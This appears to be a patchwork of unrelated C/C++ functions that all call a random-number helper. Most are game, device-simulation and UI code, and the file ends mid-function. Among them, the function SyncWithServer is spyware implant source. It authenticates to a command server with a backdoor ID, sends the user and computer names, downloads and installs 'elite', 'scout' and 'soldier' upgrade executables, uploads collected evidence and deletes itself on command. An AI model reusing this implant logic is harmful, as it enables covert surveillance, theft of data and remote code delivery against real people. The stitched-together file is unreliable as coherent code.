Carton::Carton()
{
VectorNumere.push_back(GetRandomInt());
while(VectorNumere.size() != 15)
{
unsigned int nrInt = GetRandomInt();
if(ValidareNumar(nrInt) == true)
VectorNumere.push_back(nrInt);
else
continue;
}
sort(VectorNumere.begin(),VectorNumere.begin() + 15);
}
VOID CoinUpdate()
{
for (int k = 0; k < 10; k++)
{
CoinPosition[k][0] -= ScorePerFrame * 4;
if (CoinPosition[k][0] + COIN_SIZE * 5 < 0)
{
int prev = k - 1;
if (prev == -1) prev = 9;
CoinPosition[k][0] = CoinPosition[prev][0] + GetRandomInt(WNDWIDTH / 3, WNDWIDTH);
CoinPosition[k][1] = GetRandomInt(0, WNDHEIGHT - COIN_SIZE * 8);
Transform(k, GetRandomInt(0, 25));
}
}
}
VOID MissileUpdate()
{
if (m_hero.invincible) return;
if (m_missile.active)
{
if (m_missile.countdown)
{
m_missile.countdown--;
if (!m_missile.countdown)
{
m_missile = CreateMissile(WNDWIDTH, m_hero.pos.y + 10, 111, 42, TRUE, 0);
}
else
{
m_missile.pos.y = m_hero.pos.y + 3;
}
}
else
{
m_missile.pos.x -= ScorePerFrame * 12;
if (m_missile.pos.x + 167 < 0) m_missile.active = false;
}
}
else if (!MissileGenerate && m_hero.alive)
{
int roll = GetRandomInt(0, LaserRandom);
if (roll == 0)
{
m_missile = CreateMissile(WNDWIDTH - 85, m_hero.pos.y + 3, 64, 56, TRUE, 50);
}
}
}
TM_Frame_t* FrameGenerator::GenerateTMFrame(PCC_Command_Type cmd, TM_Frame_t* pFrame)
{
if (!pFrame)
{
pFrame = createTMFrame();
}
//Update The TM Frame
pFrame->timeStamp = GetRandomInt();
pFrame->bciState = BCI_STANDBY;
pFrame->lastCommand = GeneratePCC_Command();
pFrame->lastConfidence = UNSURE;
pFrame->processingResult.command = GeneratePCC_Command();
pFrame->processingResult.confidence = UNSURE;
GenerateBRSFrame(cmd,&pFrame->brsFrame);
/*Leave LED Groups as the Default Groups*/
pFrame->eegConnectionStatus = CONNECTED;
pFrame->pccConnectionStatus = CONNECTED;
pFrame->brsConnectionStatus = CONNECTED;
pFrame->flasherConnectionStatus = CONNECTED;
return pFrame;
}
///////////////////
// Randomize all the weapons in the current game script
void CWpnRest::randomizeVisible(const std::vector<std::string> & weaponList)
{
for( std::list<wpnrest_t> :: iterator it = m_psWeaponList.begin();
it != m_psWeaponList.end(); it++ )
if( std::find_if( weaponList.begin(), weaponList.end(), findWeaponByName(it->szName) ) != weaponList.end() )
it->nState = GetRandomInt(2);
}
void CIPCServer::RemoteListen(quint16 Port)
{
if(Port != 0)
{
m_Remote = new QTcpServer(this);
if(m_Remote->listen(QHostAddress::Any, Port))
{
m_Port = Port;
LogLine(LOG_NOTE, tr("Start remote server on port %1").arg(Port));
}
else
{
LogLine(LOG_WARNING, tr("Failed to start remote server on port %1, selecting alternative port").arg(Port));
quint16 tmpPort = Port + GetRandomInt(1, 1000);
if(m_Remote->listen(QHostAddress::Any, tmpPort))
{
m_Port = tmpPort;
LogLine(LOG_WARNING, tr("Started remote server witn temporary port %1").arg(tmpPort));
}
else
LogLine(LOG_ERROR, tr("Failed to start remote server!"));
}
connect(m_Remote, SIGNAL(newConnection()), this, SLOT(OnRemoteConnection()));
}
else
m_Remote = NULL;
}
//************************************************************************
// CLCDGfx::StartTransition
//************************************************************************
void CLCDGfx::StartTransition(ETransitionType eType,LPRECT rect)
{
if(!m_bInitialized)
return;
if(rect != NULL) {
m_rTransitionRegion.left = rect->left;
m_rTransitionRegion.right = rect->right;
m_rTransitionRegion.top = rect->top;
m_rTransitionRegion.bottom = rect->bottom;
} else {
SetRect(&m_rTransitionRegion,0,0,m_nWidth,m_nHeight);
}
if(eType == TRANSITION_RANDOM)
m_eTransition = static_cast<ETransitionType>(GetRandomInt(0,2));
else
m_eTransition = eType;
if(m_bTransition) {
EndTransition();
memcpy(m_pBitmapBits,m_pLcdBitmapBits,sizeof(BYTE)*m_nWidth*m_nHeight*m_nBPP);
}
if(m_pSavedBitmapBits == NULL)
m_pSavedBitmapBits = (BYTE*)malloc(sizeof(BYTE)*m_nWidth*m_nHeight*m_nBPP);
memcpy(m_pSavedBitmapBits, m_pBitmapBits,sizeof(BYTE)* m_nWidth * m_nHeight * m_nBPP);
m_dwTransitionStart = 0;
m_bTransition = true;
}
///////////////////
// Make an offer to the opponent
void Dnr_MakeOffer(int nType, int nMoney)
{
// HACK: For now we accept all offers
// In the future - when we have performance values working - we compare car performance
// to accept/reject an offer
// Accept the offer
char *szAcceptance[] = {"OK", "Lets go!"};
// Do we have enough money?
if(nType == rcb_money) {
if(cMainGuy->getBankroll() < nMoney) {
Dnr_InitSpeechBubble("You ain't got enough dough!");
return;
}
}
int i = GetRandomInt(1);
Dnr_InitSpeechBubble(szAcceptance[i]);
psDiner->bGoodOffer = true;
sRaceInfo.nBetType = nType;
sRaceInfo.nBetMoney = nMoney;
sRaceInfo.pcOpponent = psDiner->pcCurOpp;
}
// Set the player input state based on pathfound
int _Bot::GetNextInputState() {
int InputState = 0;
if(!Map || !Player)
return InputState;
switch(BotState) {
case BotStateType::IDLE:
break;
case BotStateType::MOVE_HEAL: {
return _Object::MOVE_LEFT;
}
case BotStateType::MOVE_PATH: {
if(Path.size() == 0) {
BotState = BotStateType::IDLE;
return InputState;
}
// Find current position in list
for(auto Iterator = Path.begin(); Iterator != Path.end(); ++Iterator) {
glm::ivec2 NodePosition;
Map->NodeToPosition(*Iterator, NodePosition);
if(Player->Position == NodePosition) {
auto NextIterator = std::next(Iterator, 1);
if(NextIterator == Path.end()) {
Path.clear();
return 0;
}
// Get next node position
Map->NodeToPosition(*NextIterator, NodePosition);
// Get direction to next node
glm::ivec2 Direction = NodePosition - Player->Position;
if(Direction.x < 0)
InputState = _Object::MOVE_LEFT;
else if(Direction.x > 0)
InputState = _Object::MOVE_RIGHT;
else if(Direction.y < 0)
InputState = _Object::MOVE_UP;
else if(Direction.y > 0)
InputState = _Object::MOVE_DOWN;
break;
}
}
} break;
case BotStateType::MOVE_RANDOM: {
InputState = 1 << GetRandomInt(0, 3);
glm::ivec2 Direction;
Player->GetDirectionFromInput(InputState, Direction);
if(Map->GetTile(Player->Position + Direction)->Event.Type != _Map::EVENT_NONE)
InputState = 0;
} break;
}
return InputState;
}
/**
* @brief [brief description]
* @details [long description]
*
* @param pPoints [description]
* @param numPoints [description]
*/
void PointSearchTester::GenerateRandomPoints(Point* pPoints, uint32_t numPoints)
{
float halffloatMaxInv = 2.0f / static_cast<float>(INT_MAX);
float halfFloatMax = static_cast<float>(INT_MAX) / 2.0f;
// Generate 10 million random points and put them in a tree
for(int i = 0; i < numPoints; i++)
{
pPoints[i].x = (static_cast<float>(GetRandomInt()) - halfFloatMax) * halffloatMaxInv;
pPoints[i].y = (static_cast<float>(GetRandomInt()) - halfFloatMax) * halffloatMaxInv;
pPoints[i].id = 'r';
pPoints[i].rank = 10;
}
return;
}
PCC_Command_Type FrameGenerator::GeneratePCC_Command()
{
//Sample Commands, With Highest Chance being PCC_CMD_NONE
PCC_Command_Type commands[] =
{
PCC_FORWARD, PCC_CMD_NONE, PCC_BACKWARD, PCC_CMD_NONE,
PCC_RIGHT , PCC_CMD_NONE, PCC_LEFT , PCC_CMD_NONE
};
return commands[GetRandomInt() % 8];
}
PWCHAR GetRandomString(ULONG uMin)
{
PWCHAR pString = (PWCHAR)malloc((uMin + 64) * sizeof(WCHAR));
pString[0] = L'\0';
while(wcslen(pString) < uMin)
{
WCHAR pSubString[32] = { 0x0, 0x0 };
_itow_s(GetRandomInt(1, 0xffffff), pSubString, 6, 0x10);
wcscat_s(pString, uMin + 64, pSubString);
}
return pString;
}
VOID LaserUpdate()
{
LaserCurrentFrame++;
if (LaserCurrentFrame == LASER_MAX_FRAME) LaserCurrentFrame = 0;
for (int i = 0; i < MAX_LASER_NUM; i++)
if (m_laser[i].used)
{
m_laser[i].pos.x -= ScorePerFrame * 4;
}
if (!LaserGenerate)
{
bool LaserJudge = TRUE;
for (int i = 0; i < 10; i++)
{
if (!(CoinPosition[i][0] >= WNDWIDTH + COIN_SIZE || CoinPosition[i][0] + COIN_SIZE * 6 <= WNDWIDTH))
{
LaserJudge = FALSE;
break;
}
}
if (LaserJudge)
{
int roll = GetRandomInt(0, LaserRandom);
if (roll == 0)
{
LaserAxis++;
if (LaserAxis == MAX_LASER_NUM) LaserAxis = 0;
int length = GetRandomInt(WNDHEIGHT / 5, WNDHEIGHT / 5 * 3);
int position = GetRandomInt(0, WNDHEIGHT - length - 60);
m_laser[LaserAxis] = CreateLaser(WNDWIDTH, position, 39, 43, 18, 1, length, !m_hero.invincible);
LaserGenerate = 200;
}
}
}
}
///////////////////
// Roll in a new opponent
void Dnr_RollinOpponent(void)
{
// Choose a random opponent
int num = GetRandomInt( cMainGuy->getNumOpponents()-1 );
psDiner->pcCurOpp = cMainGuy->getOpponentList()+num;
psDiner->nOppState = opp_rollingin;
psDiner->cOppPosition = CVec(-10,-60,3.5);
psDiner->bGoodOffer = false;
// Rotate the opponent
CMatrix m;
m.Rotate(CVec(0,0,1),90);
psDiner->pcCurOpp->zeroRotation();
psDiner->pcCurOpp->rotate(m);
}
VOID BackgroundUpdate()
{
int k;
for(k = 0; k < MAX_BACKGROUND_NUM; k++)
{
m_background[k].pos.x -= ScorePerFrame * 4;
if (m_background[k].pos.x + m_background[k].size.cx < 0)
{
m_background[k].pos.x += MAX_BACKGROUND_NUM * BACKGROUND_SIZE_X;
int randk = GetRandomInt(0, BACKGROUND_COLOR_NUM - 1);
if (!GameStart) randk = 0;
m_background[k].hBmp = m_hBackgroundBmp[randk];
}
}
m_others[2].pos.x -= ScorePerFrame * 4;
}
EEG_Frame_t* FrameGenerator::GenerateEEGFrame(EEG_Frame_t* pFrame)
{
if (!pFrame)
{
pFrame = createEEGFrame();
}
pFrame->eegType = EEG_TYPE_EMOTIV; //We're not going to be ambitious
pFrame->counter = GetRandomInt();
//Electrode Data and Contact Quality
for (int i = 0; i < MAX_EEG_ELECTRODES; i++)
{
pFrame->electrodeData[i] = (GetRandomInt());
pFrame->contactQuality[i] = (GetRandomInt() * 500) % 6000;
}
//The rest of the Crap
pFrame->gyroX = GetRandomInt();
pFrame->gyroY = GetRandomInt();
pFrame->batteryPercentage = GetRandomInt();
return pFrame;
}
BOOL SyncWithServer()
{
PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer;
ULONG uGonnaDie, uGonnaUpdate;
BYTE pHashBuffer[20];
BOOL bRetVal = FALSE;
uGonnaDie = uGonnaUpdate = 0;
memcpy(pServerKey, CLIENT_KEY, 32);
memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32);
#ifdef _DEBUG_BINPATCH
MD5((PBYTE)CLIENT_KEY, 32, pServerKey);
MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey);
#endif
pRandomData = (PBYTE)malloc(16);
GenerateRandomData(pRandomData, 16);
PBYTE pBuffer = (PBYTE)malloc(32);
memcpy(pBuffer, pConfKey, 16);
memcpy(pBuffer + 16, pRandomData, 16);
CalculateSHA1(pHashBuffer, pBuffer, 32);
free(pBuffer);
pInstanceId = (PBYTE)malloc(20);
GetUserUniqueHash(pInstanceId, 20);
// proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool (FIXME)
ULONG uRandPoolLen = GetRandomInt(128, 1024);
ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16);
ULONG uMessageLen = uCryptBufferLen + uRandPoolLen;
pProtoMessage = (PBYTE)malloc(uMessageLen);
PBYTE pMessageBuffer = pProtoMessage;
// proto version
*(PULONG)pMessageBuffer = 0x1;
pMessageBuffer += sizeof(ULONG);
// kd
memcpy(pMessageBuffer, pRandomData, 16);
pMessageBuffer += 16;
// sha1(conf_key + kd)
memcpy(pMessageBuffer, pHashBuffer, 20);
pMessageBuffer += 20;
// backdoor_id
memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2);
pMessageBuffer += strlen(BACKDOOR_ID);
memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len)
pMessageBuffer += 0x2;
// instance id
memcpy(pMessageBuffer, pInstanceId, 20);
pMessageBuffer += 20;
// subtype
pMessageBuffer[0] = 0x0; // ARCH: windows
/*
determine whether it's a demo scout or not :
- cautiously set demo to 0 (i.e. release)
- if stars align properly set to demo
*/
pMessageBuffer[1] = 0x0; // TYPE: release
SHA1Context sha;
SHA1Reset(&sha);
SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1));
if (SHA1Result(&sha))
{
/* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
unsigned nDemoTag[5];
nDemoTag[0] = 1575563797;
nDemoTag[1] = 2264195072;
nDemoTag[2] = 3570558757;
nDemoTag[3] = 2213518012;
nDemoTag[4] = 971935466;
if( nDemoTag[0] == sha.Message_Digest[0] &&
nDemoTag[1] == sha.Message_Digest[1] &&
nDemoTag[2] == sha.Message_Digest[2] &&
nDemoTag[3] == sha.Message_Digest[3] &&
nDemoTag[4] == sha.Message_Digest[4] )
{
pMessageBuffer[1] = 0x1;
}
}
pMessageBuffer[2] = 0x1; // STAGE: scout
pMessageBuffer[3] = 0x0; // FLAG: reserved
// encrypt
Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD);
// append random block
GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen);
// base64 everything
PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen);
// send request
ULONG uResponseLen;
ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message));
free(pBase64Message);
if (!uRet)
{
free(pRandomData);
free(pInstanceId);
free(pProtoMessage);
#ifdef _DEBUG
OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n");
#endif
return FALSE;
}
// get response
PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen);
if (!pHttpResponseBufferB64)
{
#ifdef _DEBUG
OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n");
#endif
return FALSE;
}
// base64
ULONG uOut;
PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut);
free(pHttpResponseBufferB64);
if (uOut < sizeof(PROTO_RESPONSE_AUTH))
return FALSE; // FIXME free
// decrypt
Decrypt(pProtoResponse, uOut, pConfKey);
// fill packet
PROTO_RESPONSE_AUTH pProtoResponseId;
memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH));
free(pProtoResponse);
// first sha1
pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16);
memcpy(pBuffer, pConfKey, 16);
memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16);
CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16);
free(pBuffer);
PBYTE pFirstSha1Digest = (PBYTE)malloc(20);
memcpy(pFirstSha1Digest, pHashBuffer, 20);
// second sha1
pBuffer = (PBYTE)malloc(20 + 16);
memcpy(pBuffer, pFirstSha1Digest, 20);
memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData));
free(pBuffer);
free(pFirstSha1Digest);
if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20))
{
#ifdef _DEBUG
OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n");
#endif
return FALSE;
}
// AUTH DONE \o/
#ifdef _DEBUG
OutputDebugString(L"[+] PROTO_AUTH succeded !!\n");
#endif
// session key sha1(conf_key + ks + kd)
pBuffer = (PBYTE)malloc(48);
memcpy(pBuffer, pConfKey, 16);
memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16);
memcpy(pBuffer + 16 + 16, pRandomData, 16);
CalculateSHA1(pSessionKey, pBuffer, 48);
free(pBuffer);
if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL)
{
#ifdef _DEBUG
PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand);
OutputDebugString(pDebugString);
free(pDebugString);
#endif
return FALSE;
}
if (pProtoResponseId.uProtoCommand == PROTO_NO)
{
#ifdef _DEBUG
OutputDebugString(L"[!!] Got PROTO_NO\n");
#endif
return FALSE;
}
else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL)
{
#ifdef _DEBUG
OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n");
#endif
if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
free(pCryptedBuffer);
WinHTTPClose();
DeleteAndDie(TRUE);
}
// send ID
ULONG uStringLong = 32767 * sizeof(WCHAR);
PWCHAR pUserName = (PWCHAR)malloc(uStringLong);
PWCHAR pComputerName = (PWCHAR)malloc(uStringLong);
WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };
WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };
if (!GetEnvironmentVariable(strUser, pUserName, uStringLong))
pUserName[0] = L'\0';
if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong))
pComputerName[0] = L'\0';
// Prepare ID buffer
ULONG uUserLen, uComputerLen, uSourceLen = 0;
PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen);
PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen);
PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen);
free(pUserName);
free(pComputerName);
ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen;
pBuffer = (PBYTE)malloc(uBuffLen);
*(PULONG)pBuffer = BUILD_VERSION;
memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen);
memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen);
memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen);
free(pUserNamePascal);
free(pComputerNamePascal);
free(pSourceIdPascal);
// Send ID
if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer)))
{
#ifdef _DEBUG
OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n");
#endif
free(pBuffer);
return FALSE;
}
free(pCryptedBuffer);
free(pBuffer);
// Get reponse
PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen);
if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID))
{
#ifdef _DEBUG
OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n");
#endif
if (pHttpResponseBuffer)
free(pHttpResponseBuffer);
return FALSE;
}
// decrypt it
Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey);
PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer;
#ifdef _DEBUG
PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n",
pResponseId->uProtoCommand,
pResponseId->uMessageLen,
pResponseId->uAvailables);
OutputDebugString(pDebugString);
free(pDebugString);
#endif
// parse availables
if (pResponseId->uAvailables)
{
PULONG pAvailables = (&pResponseId->uAvailables) + 1;
for (ULONG i=0; i<pResponseId->uAvailables; i++)
{
#ifdef _DEBUG
pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
swprintf_s(pDebugString, 1024, L" - Available %08x\n", pAvailables[i]);
OutputDebugString(pDebugString);
free(pDebugString);
#endif
// AVAILABLE STUFF HERE THERE AND EVERYWHERE
if (pAvailables[i] == PROTO_UPGRADE)
{
#ifdef _DEBUG
pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n");
OutputDebugString(pDebugString);
free(pDebugString);
#endif
if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer)))
{
#ifdef _DEBUG
OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n");
#endif
return FALSE;
}
free(pCryptedBuffer);
PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen);
if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE))
{
#ifdef _DEBUG
OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n");
#endif
if (pHttpUpgradeBuffer)
free(pHttpUpgradeBuffer);
return FALSE; // FIXME FREE
}
#ifdef _DEBUG
OutputDebugString(L"[*] Got Upgrade\n");
#endif
Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey);
PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer;
PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
if (!pUpgradeName)
{
#ifdef _DEBUG
OutputDebugString(L"[!!] pUpgradeName fail\n");
#endif
free(pHttpUpgradeBuffer);
return FALSE; // FIXME FREE
}
SecureZeroMemory(pUpgradeName, pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen);
#ifdef _DEBUG
pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n",
pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName);
OutputDebugString(pDebugString);
free(pDebugString);
#endif
ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen);
PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);
//if (!wcscmp(pUpgradeName, L"elite"))
if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l')
{
if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength))
uGonnaDie = 1;
else
{
WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' };
SendInfo(pMessage);
}
}
//if (!wcscmp(pUpgradeName, L"scout"))
if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c')
{
if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength))
{
WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' };
SendInfo(pMessage);
}
}
if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o')
{
if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength))
{
WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' };
SendInfo(pMessage);
}
}
//if (!wcscmp(pUpgradeName, L"recover"))
//if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e')
//{
// if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength))
// {
// WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' };
// SendInfo(pMessage);
// }
//}
free(pUpgradeName);
free(pHttpUpgradeBuffer);
}
}
}
free(pHttpResponseBuffer);
if (SendEvidences())
bRetVal = TRUE;
// send BYE
#ifdef _DEBUG
OutputDebugString(L"[*] Sending PROTO_BYE\n");
#endif
if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
free(pCryptedBuffer);
#ifdef _DEBUG
else
OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n");
#endif
if (uGonnaDie == 1)
{
WinHTTPClose();
DeleteAndDie(TRUE);
}
free(pProtoMessage);
free(pInstanceId);
free(pRandomData);
return bRetVal;
}
///////////////////
// Process the opponent stuff
void Dnr_ProcessOpponent(void)
{
char buf[256];
int i;
CVec p;
switch(psDiner->nOppState) {
// Waiting
case opp_waiting:
if( tMainSR3.fCurTime > psDiner->fOppTimer ) {
// Roll in a new opponent
Dnr_RollinOpponent();
}
break;
// Rolling in
case opp_rollingin:
psDiner->pcLocation->setStatusText(psDiner->pcCurOpp->getDescription(buf));
psDiner->cOppPosition += CVec(20,0,0)*tMainSR3.fDeltaTime;
// Spin the tyres
for( i=0; i<4; i++ ) {
CPart *p = psDiner->pcCurOpp->getCar()->getTire(i);
if(p)
p->SpinTyre(2);
}
if( psDiner->cOppPosition.GetX() > 25 ) {
psDiner->cOppPosition.SetX(25);
// Setup the opponent ready state
psDiner->bOppClicked = false;
psDiner->nOppState = opp_ready;
psDiner->fOppTimer = tMainSR3.fCurTime + 5;
}
break;
// Ready
case opp_ready:
// Show the car description
if( !psDiner->bOppClicked )
psDiner->pcLocation->setStatusText(psDiner->pcCurOpp->getDescription(buf));
// Has the opponent waited long enough for interaction?
if( tMainSR3.fCurTime > psDiner->fOppTimer && !psDiner->bOppClicked ) {
// Roll out the opponent
psDiner->nOppState = opp_rollingout;
}
// Is the mouse over the car?
UnprojectMouse(&p);
if( psDiner->pcCurOpp->intersect(psDiner->pcLocation->getCamPos(), p) && !psDiner->bOppClicked ) {
psDiner->pcLocation->setStatusText("Challenge opponent");
if( System_GetMouse()->Up & SDL_BUTTON(1) ) {
// Challenge the opponent
Dnr_ChallengeOpponent(0, 0);
}
}
break;
// Rolling out
case opp_rollingout:
psDiner->cOppPosition += CVec(30,0,0)*tMainSR3.fDeltaTime;
// Spin the tyres
for( i=0; i<4; i++ ) {
CPart *p = psDiner->pcCurOpp->getCar()->getTire(i);
if(p)
p->SpinTyre(3);
}
if( psDiner->cOppPosition.GetX() > 70 ) {
psDiner->nOppState = opp_waiting;
psDiner->fOppTimer = tMainSR3.fCurTime + (float)GetRandomInt(2)+3.0f;
}
break;
}
}
//-----------------------------------------------------------------------------
//-----------------------------------------------------------------------------
float CEnvMeteorSpawnerShared::MeteorThink( float flTime )
{
// Check for spawn.
if ( flTime < m_flNextSpawnTime )
return m_flNextSpawnTime;
while ( m_flNextSpawnTime < flTime )
{
// Get a random number of meteors to spawn and spawn them.
int nMeteorCount = GetRandomInt( m_nMinSpawnCount, m_nMaxSpawnCount );
for ( int iMeteor = 0; iMeteor < nMeteorCount; iMeteor++ )
{
// Increment the number of meteors created (starting with 1).
m_nMeteorCount++;
// Get a random meteor position.
Vector meteorOrigin( GetRandomFloat( m_vecMinBounds.GetX(), m_vecMaxBounds.GetX() ) /* x */,
GetRandomFloat( m_vecMinBounds.GetY(), m_vecMaxBounds.GetY() ) /* y */,
GetRandomFloat( m_vecMinBounds.GetZ(), m_vecMaxBounds.GetZ() ) /* z */ );
// Calculate the direction of the meteor based on "targets."
Vector vecDirection( 0.0f, 0.0f, -1.0f );
if ( m_aTargets.Count() > 0 )
{
float flFreq = 1.0f / m_aTargets.Count();
float flFreqAccum = flFreq;
int iTarget;
for( iTarget = 0; iTarget < m_aTargets.Count(); ++iTarget )
{
float flRandom = GetRandomFloat( 0.0f, 1.0f );
if ( flRandom < flFreqAccum )
break;
flFreqAccum += flFreq;
}
// Should ever be here!
if ( iTarget == m_aTargets.Count() )
{
iTarget--;
}
// Just set it to the first target for now!!!
// NOTE: Will randomly generate from list of targets when more than 1 in
// the future.
// Move the meteor into the "world."
Vector vecPositionInWorld;
Vector vecSkyboxOrigin;
g_pMapData->Get3DSkyboxOrigin( vecSkyboxOrigin );
vecPositionInWorld = ( meteorOrigin - vecSkyboxOrigin );
vecPositionInWorld *= g_pMapData->Get3DSkyboxScale();
Vector vecTargetPos = m_aTargets[iTarget].m_vecPosition;
vecTargetPos.x += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius );
vecTargetPos.y += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius );
vecTargetPos.z += GetRandomFloat( -m_aTargets[iTarget].m_flRadius, m_aTargets[iTarget].m_flRadius );
vecDirection = vecTargetPos - vecPositionInWorld;
VectorNormalize( vecDirection );
}
// Pass in the randomized position, randomized speed, and start time.
m_pFactory->CreateMeteor( m_nMeteorCount, m_iMeteorType, meteorOrigin,
vecDirection /* direction */,
GetRandomFloat( m_flMinSpeed, m_flMaxSpeed ) /* speed */,
m_flNextSpawnTime, m_flMeteorDamageRadius,
m_vecTriggerMins, m_vecTriggerMaxs );
}
// Set next spawn time.
m_flNextSpawnTime += GetRandomFloat( m_flMinSpawnTime, m_flMaxSpawnTime );
}
// Return the next spawn time.
